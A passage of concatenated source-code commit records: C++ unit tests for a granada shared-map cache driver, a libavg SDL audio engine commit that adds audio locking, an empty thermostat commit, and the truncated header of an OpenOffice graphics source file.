cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\"));\n\n\t\tcache_driver.Write(\"hello\",\"world\",\"!!!\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\",\"none\"));\n\t}\n\n\tTEST(match)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\t\tcache_driver.Write(\"session:6464\",\"token\",\"6464\");\n\t\tcache_driver.Write(\"session:6464\",\"update.time\",\"123456789\");\n\t\tcache_driver.Write(\"session:roles:6464\",\"ROLES_6464\");\n\t\tcache_driver.Write(\"session:777\",\"token\",\"777\");\n\t\tcache_driver.Write(\"session:777\",\"update.time\",\"987654321\");\n\t\tcache_driver.Write(\"session:roles:777\",\"ROLES_777\");\n\n\t\tstd::vector<std::string> keys;\n\n\t\tcache_driver.Match(\"\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==0);\n\n\t\tcache_driver.Match(\"*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==5);\n\n\t\tcache_driver.Match(\"session:\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==0);\n\n\t\tcache_driver.Match(\"session:*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==4);\n\n\t\tcache_driver.Match(\"session:*:\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==0);\n\n\t\tcache_driver.Match(\"session:*:*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==2);\n\n\t\tcache_driver.Match(\"session:6464*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==1);\n\n\t\tcache_driver.Match(\"session:*6464*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==2);\n\t}\n\n\n\tTEST(destroy)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\"),\"world\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\"));\n\t\tcache_driver.Destroy(\"hello\");\n\t\tVERIFY_ARE_NOT_EQUAL(cache_driver.Read(\"hello\"),\"world\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\"),\"\");\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\"));\n\n\t\tcache_driver.Write(\"hello\",\"world\",\"!!!\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"!!!\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\",\"none\"));\n\t\tcache_driver.Destroy(\"hello\",\"world\");\n\t\tVERIFY_ARE_NOT_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"!!!\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\",\"world\"));\n\n\t}\n\n\n\tTEST(iterator)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\t\tcache_driver.Write(\"session:6464\",\"token\",\"6464\");\n\t\tcache_driver.Write(\"session:6464\",\"update.time\",\"123456789\");\n\t\tcache_driver.Write(\"session:roles:6464\",\"ROLES_6464\");\n\t\tcache_driver.Write(\"session:777\",\"token\",\"777\");\n\t\tcache_driver.Write(\"session:777\",\"update.time\",\"987654321\");\n\t\tcache_driver.Write(\"session:roles:777\",\"ROLES_777\");\n\n\n\t\tstd::shared_ptr<granada::cache::CacheHandlerIterator> cache_iterator = cache_driver.make_iterator(\"\");\n\t\tVERIFY_IS_TRUE(!cache_iterator->has_next());\n\t\tfor (int i = 0; i < 5; i++){\n\t\t\tVERIFY_IS_TRUE(cache_iterator->next()==\"\");\n\t\t}\n\n\t\tcache_iterator = cache_driver.make_iterator(\"*\");\n\t\tint i = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==5);\n\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==0);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==4);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*:\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==0);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*:*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==2);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:6464*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==1);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*6464*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==2);\n\t}\n\n}\n    \n}}} \/\/namespaces\n<commit_msg>comment correction.<commit_after>\/**\n * Copyright (c) <2016> Web App SDK granada <afernandez@cookinapps.io>\n *\n * This source code is licensed under the MIT license.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n *\n * Tests for granada::cache::SharedMapCacheDriver\n *\n * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n **\/\n#include \"stdafx.h\"\n#include <vector>\n#include \"granada\/util\/time.h\"\n#include \"granada\/cache\/shared_map_cache_driver.h\"\n\nnamespace granada { namespace test { namespace cache {\n    \nSUITE(shared_map_cache_driver)\n{\n\n\tTEST(write_read)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\"),\"world\");\n\n\t\tcache_driver.Write(\"hello\",\"world\",\"!!!\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"!!!\");\n\t}\n\n\n\tTEST(exist)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\"));\n\n\t\tcache_driver.Write(\"hello\",\"world\",\"!!!\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\",\"none\"));\n\t}\n\n\tTEST(match)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\t\tcache_driver.Write(\"session:6464\",\"token\",\"6464\");\n\t\tcache_driver.Write(\"session:6464\",\"update.time\",\"123456789\");\n\t\tcache_driver.Write(\"session:roles:6464\",\"ROLES_6464\");\n\t\tcache_driver.Write(\"session:777\",\"token\",\"777\");\n\t\tcache_driver.Write(\"session:777\",\"update.time\",\"987654321\");\n\t\tcache_driver.Write(\"session:roles:777\",\"ROLES_777\");\n\n\t\tstd::vector<std::string> keys;\n\n\t\tcache_driver.Match(\"\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==0);\n\n\t\tcache_driver.Match(\"*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==5);\n\n\t\tcache_driver.Match(\"session:\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==0);\n\n\t\tcache_driver.Match(\"session:*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==4);\n\n\t\tcache_driver.Match(\"session:*:\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==0);\n\n\t\tcache_driver.Match(\"session:*:*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==2);\n\n\t\tcache_driver.Match(\"session:6464*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==1);\n\n\t\tcache_driver.Match(\"session:*6464*\",keys);\n\t\tVERIFY_IS_TRUE(keys.size()==2);\n\t}\n\n\n\tTEST(destroy)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\"),\"world\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\"));\n\t\tcache_driver.Destroy(\"hello\");\n\t\tVERIFY_ARE_NOT_EQUAL(cache_driver.Read(\"hello\"),\"world\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\"),\"\");\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\"));\n\n\t\tcache_driver.Write(\"hello\",\"world\",\"!!!\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"!!!\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"none\",\"world\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\",\"none\"));\n\t\tcache_driver.Destroy(\"hello\",\"world\");\n\t\tVERIFY_ARE_NOT_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"!!!\");\n\t\tVERIFY_ARE_EQUAL(cache_driver.Read(\"hello\",\"world\"),\"\");\n\t\tVERIFY_IS_TRUE(cache_driver.Exists(\"hello\"));\n\t\tVERIFY_IS_FALSE(cache_driver.Exists(\"hello\",\"world\"));\n\n\t}\n\n\n\tTEST(iterator)\n\t{\n\t\tgranada::cache::SharedMapCacheDriver cache_driver;\n\t\tcache_driver.Write(\"hello\",\"world\");\n\t\tcache_driver.Write(\"session:6464\",\"token\",\"6464\");\n\t\tcache_driver.Write(\"session:6464\",\"update.time\",\"123456789\");\n\t\tcache_driver.Write(\"session:roles:6464\",\"ROLES_6464\");\n\t\tcache_driver.Write(\"session:777\",\"token\",\"777\");\n\t\tcache_driver.Write(\"session:777\",\"update.time\",\"987654321\");\n\t\tcache_driver.Write(\"session:roles:777\",\"ROLES_777\");\n\n\n\t\tstd::shared_ptr<granada::cache::CacheHandlerIterator> cache_iterator = cache_driver.make_iterator(\"\");\n\t\tVERIFY_IS_TRUE(!cache_iterator->has_next());\n\t\tfor (int i = 0; i < 5; i++){\n\t\t\tVERIFY_IS_TRUE(cache_iterator->next()==\"\");\n\t\t}\n\n\t\tcache_iterator = cache_driver.make_iterator(\"*\");\n\t\tint i = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==5);\n\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==0);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==4);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*:\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==0);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*:*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==2);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:6464*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==1);\n\n\t\tcache_iterator = cache_driver.make_iterator(\"session:*6464*\");\n\t\ti = 0;\n\t\twhile(cache_iterator->has_next()){\n\t\t\ti++;\n\t\t\tcache_iterator->next();\n\t\t}\n\t\tVERIFY_IS_TRUE(i==2);\n\t}\n\n}\n    \n}}} \/\/namespaces\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  libavg - Media Playback Engine. \n\/\/  Copyright (C) 2003-2006 Ulrich von Zadow\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/\n\/\/  Current versions can be found at www.libavg.de\n\/\/\n\/\/  Original author of this file is Nick Hebner (hebnern@gmail.com).\n\/\/\n\n#include \"SDLAudioEngine.h\"\n#include \"Dynamics.h\"\n\n#include \"..\/base\/Exception.h\"\n#include \"..\/base\/Logger.h\"\n#include \"..\/base\/ScopeTimer.h\"\n#include \"..\/base\/Profiler.h\"\n\n#include <iostream>\n\nnamespace avg {\n\nusing namespace std;\nusing namespace boost;\n\nSDLAudioEngine::SDLAudioEngine()\n    : m_pTempBuffer(),\n      m_pMixBuffer(0),\n      m_pLimiter(0)\n{\n    if (SDL_InitSubSystem(SDL_INIT_AUDIO)==-1) {\n        AVG_TRACE(Logger::ERROR, \"Can't init SDL audio subsystem.\");\n        exit(-1);\n    }\n}\n\nSDLAudioEngine::~SDLAudioEngine()\n{\n    if (m_pMixBuffer) {\n        delete[] m_pMixBuffer;\n    }\n    SDL_QuitSubSystem(SDL_INIT_AUDIO);\n}\n\nint SDLAudioEngine::getChannels()\n{\n    return m_AP.m_Channels;\n}\n\nint SDLAudioEngine::getSampleRate()\n{\n    return m_AP.m_SampleRate;\n}\n\nconst AudioParams & SDLAudioEngine::getParams()\n{\n    return m_AP;\n}\n\nvoid SDLAudioEngine::init(const AudioParams& AP, double volume) \n{\n    AudioEngine::init(AP, volume);\n    m_AP = AP;\n    Dynamics<double, 2>* pLimiter = new Dynamics<double, 2>(m_AP.m_SampleRate);\n    pLimiter->setThreshold(0.); \/\/ in dB\n    pLimiter->setAttackTime(0.); \/\/ in seconds\n    pLimiter->setReleaseTime(0.05); \/\/ in seconds\n    pLimiter->setRmsTime(0.); \/\/ in seconds\n    pLimiter->setRatio(std::numeric_limits<double>::infinity());\n    pLimiter->setMakeupGain(0.); \/\/ in dB\n    m_pLimiter = pLimiter;\n    \n    SDL_AudioSpec desired;\n    desired.freq = m_AP.m_SampleRate;\n    desired.format = AUDIO_S16SYS;\n    desired.channels = m_AP.m_Channels;\n    desired.silence = 0;\n    desired.samples = m_AP.m_OutputBufferSamples;\n    desired.callback = audioCallback;\n    desired.userdata = this;\n\n    if (SDL_OpenAudio(&desired, 0) < 0) {\n      \/\/throw new Exception(\"Cannot open audio device\");\n    }\n}\n\nvoid SDLAudioEngine::teardown()\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    SDL_PauseAudio(1);\n    SDL_CloseAudio();\n\n    getSources().clear();\n    if (m_pLimiter) {\n        delete m_pLimiter;\n        m_pLimiter = 0;\n    }\n}\n\nvoid SDLAudioEngine::setAudioEnabled(bool bEnabled)\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::setAudioEnabled(bEnabled);\n}\n\nvoid SDLAudioEngine::play()\n{\n    SDL_PauseAudio(0);\n}\n\nvoid SDLAudioEngine::pause()\n{\n    SDL_PauseAudio(1);\n}\n\nvoid SDLAudioEngine::addSource(IAudioSource* pSource)\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::addSource(pSource);\n}\n\nvoid SDLAudioEngine::removeSource(IAudioSource* pSource)\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::removeSource(pSource);\n}\n\nvoid SDLAudioEngine::setVolume(double volume)\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::setVolume(volume);\n}\n\nvoid SDLAudioEngine::mixAudio(Uint8 *pDestBuffer, int destBufferLen)\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    int numFrames = destBufferLen\/(2*getChannels()); \/\/ 16 bit samples.\n\n    if (getSources().size() == 0) {\n        return;\n    }\n    if (!m_pTempBuffer || m_pTempBuffer->getNumFrames() < numFrames) {\n        if (m_pTempBuffer) {\n            delete[] m_pMixBuffer;\n        }\n        m_pTempBuffer = AudioBufferPtr(new AudioBuffer(numFrames, m_AP));\n        m_pMixBuffer = new double[getChannels()*numFrames];\n    }\n\n    for (int i=0; i<getChannels()*numFrames; ++i) {\n        m_pMixBuffer[i]=0;\n    }\n    AudioSourceList::iterator it;\n    for(it = getSources().begin(); it != getSources().end(); it++) {\n        m_pTempBuffer->clear();\n        (*it)->fillAudioBuffer(m_pTempBuffer);\n        addBuffers(m_pMixBuffer, m_pTempBuffer);\n    }\n    calcVolume(m_pMixBuffer, numFrames*getChannels(), getVolume());\n    for (int i=0; i<numFrames; ++i) {\n        m_pLimiter->process(m_pMixBuffer+i*getChannels());\n        for (int j=0; j<getChannels(); ++j) {\n            ((short*)pDestBuffer)[i*2+j]=short(m_pMixBuffer[i*2+j]*32768);\n        }\n    }\n}\n\nvoid SDLAudioEngine::audioCallback(void *userData, Uint8 *audioBuffer, int audioBufferLen)\n{\n    SDLAudioEngine *pThis = (SDLAudioEngine*)userData;\n    pThis->mixAudio(audioBuffer, audioBufferLen);\n}\n\nvoid SDLAudioEngine::addBuffers(double *pDest, AudioBufferPtr pSrc)\n{\n    int numFrames = pSrc->getNumFrames();\n    short * pData = pSrc->getData();\n    for(int i = 0; i < numFrames*getChannels(); ++i) {\n        pDest[i] += pData[i]\/32768.0;\n    }\n}\n\nvoid SDLAudioEngine::calcVolume(double *pBuffer, int numSamples, double volume)\n{\n    \/\/ TODO: We need a VolumeFader class that keeps state.\n    for(int i = 0; i < numSamples; ++i) {\n        pBuffer[i] *= volume;\n    }\n}\n\n}\n<commit_msg>More Audio locking fixes.<commit_after>\/\/\n\/\/  libavg - Media Playback Engine. \n\/\/  Copyright (C) 2003-2006 Ulrich von Zadow\n\/\/\n\/\/  This library is free software; you can redistribute it and\/or\n\/\/  modify it under the terms of the GNU Lesser General Public\n\/\/  License as published by the Free Software Foundation; either\n\/\/  version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/  This library is distributed in the hope that it will be useful,\n\/\/  but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n\/\/  Lesser General Public License for more details.\n\/\/\n\/\/  You should have received a copy of the GNU Lesser General Public\n\/\/  License along with this library; if not, write to the Free Software\n\/\/  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\/\/\n\/\/  Current versions can be found at www.libavg.de\n\/\/\n\/\/  Original author of this file is Nick Hebner (hebnern@gmail.com).\n\/\/\n\n#include \"SDLAudioEngine.h\"\n#include \"Dynamics.h\"\n\n#include \"..\/base\/Exception.h\"\n#include \"..\/base\/Logger.h\"\n#include \"..\/base\/ScopeTimer.h\"\n#include \"..\/base\/Profiler.h\"\n\n#include <iostream>\n\nnamespace avg {\n\nusing namespace std;\nusing namespace boost;\n\nSDLAudioEngine::SDLAudioEngine()\n    : m_pTempBuffer(),\n      m_pMixBuffer(0),\n      m_pLimiter(0)\n{\n    if (SDL_InitSubSystem(SDL_INIT_AUDIO)==-1) {\n        AVG_TRACE(Logger::ERROR, \"Can't init SDL audio subsystem.\");\n        exit(-1);\n    }\n}\n\nSDLAudioEngine::~SDLAudioEngine()\n{\n    if (m_pMixBuffer) {\n        delete[] m_pMixBuffer;\n    }\n    SDL_QuitSubSystem(SDL_INIT_AUDIO);\n}\n\nint SDLAudioEngine::getChannels()\n{\n    return m_AP.m_Channels;\n}\n\nint SDLAudioEngine::getSampleRate()\n{\n    return m_AP.m_SampleRate;\n}\n\nconst AudioParams & SDLAudioEngine::getParams()\n{\n    return m_AP;\n}\n\nvoid SDLAudioEngine::init(const AudioParams& AP, double volume) \n{\n    AudioEngine::init(AP, volume);\n    m_AP = AP;\n    Dynamics<double, 2>* pLimiter = new Dynamics<double, 2>(m_AP.m_SampleRate);\n    pLimiter->setThreshold(0.); \/\/ in dB\n    pLimiter->setAttackTime(0.); \/\/ in seconds\n    pLimiter->setReleaseTime(0.05); \/\/ in seconds\n    pLimiter->setRmsTime(0.); \/\/ in seconds\n    pLimiter->setRatio(std::numeric_limits<double>::infinity());\n    pLimiter->setMakeupGain(0.); \/\/ in dB\n    m_pLimiter = pLimiter;\n    \n    SDL_AudioSpec desired;\n    desired.freq = m_AP.m_SampleRate;\n    desired.format = AUDIO_S16SYS;\n    desired.channels = m_AP.m_Channels;\n    desired.silence = 0;\n    desired.samples = m_AP.m_OutputBufferSamples;\n    desired.callback = audioCallback;\n    desired.userdata = this;\n\n    if (SDL_OpenAudio(&desired, 0) < 0) {\n      \/\/throw new Exception(\"Cannot open audio device\");\n    }\n}\n\nvoid SDLAudioEngine::teardown()\n{\n    mutex::scoped_lock Lock(m_Mutex);\n    SDL_LockAudio();\n    SDL_PauseAudio(1);\n    SDL_CloseAudio();\n    SDL_UnlockAudio();\n\n    getSources().clear();\n    if (m_pLimiter) {\n        delete m_pLimiter;\n        m_pLimiter = 0;\n    }\n}\n\nvoid SDLAudioEngine::setAudioEnabled(bool bEnabled)\n{\n    SDL_LockAudio();\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::setAudioEnabled(bEnabled);\n    SDL_UnlockAudio();\n}\n\nvoid SDLAudioEngine::play()\n{\n    SDL_PauseAudio(0);\n}\n\nvoid SDLAudioEngine::pause()\n{\n    SDL_PauseAudio(1);\n}\n\nvoid SDLAudioEngine::addSource(IAudioSource* pSource)\n{\n    SDL_LockAudio();\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::addSource(pSource);\n    SDL_UnlockAudio();\n}\n\nvoid SDLAudioEngine::removeSource(IAudioSource* pSource)\n{\n    SDL_LockAudio();\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::removeSource(pSource);\n    SDL_UnlockAudio();\n}\n\nvoid SDLAudioEngine::setVolume(double volume)\n{\n    SDL_LockAudio();\n    mutex::scoped_lock Lock(m_Mutex);\n    AudioEngine::setVolume(volume);\n    SDL_UnlockAudio();\n}\n\nvoid SDLAudioEngine::mixAudio(Uint8 *pDestBuffer, int destBufferLen)\n{\n    int numFrames = destBufferLen\/(2*getChannels()); \/\/ 16 bit samples.\n\n    if (getSources().size() == 0) {\n        return;\n    }\n    if (!m_pTempBuffer || m_pTempBuffer->getNumFrames() < numFrames) {\n        if (m_pTempBuffer) {\n            delete[] m_pMixBuffer;\n        }\n        m_pTempBuffer = AudioBufferPtr(new AudioBuffer(numFrames, m_AP));\n        m_pMixBuffer = new double[getChannels()*numFrames];\n    }\n\n    for (int i=0; i<getChannels()*numFrames; ++i) {\n        m_pMixBuffer[i]=0;\n    }\n    {\n        mutex::scoped_lock Lock(m_Mutex);\n        AudioSourceList::iterator it;\n        for(it = getSources().begin(); it != getSources().end(); it++) {\n            m_pTempBuffer->clear();\n            (*it)->fillAudioBuffer(m_pTempBuffer);\n            addBuffers(m_pMixBuffer, m_pTempBuffer);\n        }\n    }\n    calcVolume(m_pMixBuffer, numFrames*getChannels(), getVolume());\n    for (int i=0; i<numFrames; ++i) {\n        m_pLimiter->process(m_pMixBuffer+i*getChannels());\n        for (int j=0; j<getChannels(); ++j) {\n            ((short*)pDestBuffer)[i*2+j]=short(m_pMixBuffer[i*2+j]*32768);\n        }\n    }\n}\n\nvoid SDLAudioEngine::audioCallback(void *userData, Uint8 *audioBuffer, int audioBufferLen)\n{\n    SDLAudioEngine *pThis = (SDLAudioEngine*)userData;\n    pThis->mixAudio(audioBuffer, audioBufferLen);\n}\n\nvoid SDLAudioEngine::addBuffers(double *pDest, AudioBufferPtr pSrc)\n{\n    int numFrames = pSrc->getNumFrames();\n    short * pData = pSrc->getData();\n    for(int i = 0; i < numFrames*getChannels(); ++i) {\n        pDest[i] += pData[i]\/32768.0;\n    }\n}\n\nvoid SDLAudioEngine::calcVolume(double *pBuffer, int numSamples, double volume)\n{\n    \/\/ TODO: We need a VolumeFader class that keeps state.\n    for(int i = 0; i < numSamples; ++i) {\n        pBuffer[i] *= volume;\n    }\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Update thermostat.cpp<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: salgdiutils.cxx,v $\n * $Revision: 1.17 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_vcl.hxx\"\n\n#include \"salgdi.h\"\n#include \"salframe.h\"\n\n#include \"basebmp\/scanlineformats.hxx\"\n#include \"basebmp\/color.hxx\"\n#include \"basegfx\/range\/b2drectangle.hxx\"\n#include \"basegfx\/range\/b2irange.hxx\"\n#include \"basegfx\/vector\/b2ivector.hxx\"\n#include \"basegfx\/polygon\/b2dpolygon.hxx\"\n#include \"basegfx\/polygon\/b2dpolygontools.hxx\"\n#include <boost\/bind.hpp>\n\n#include \"vcl\/svapp.hxx\"\n#include \"saldata.hxx\"\n\n\/\/ ----------------------------------------------------------------------\n\nvoid AquaSalGraphics::SetWindowGraphics( AquaSalFrame* pFrame )\n{\n    mpFrame     = pFrame;\n\n    mbWindow    = true;\n   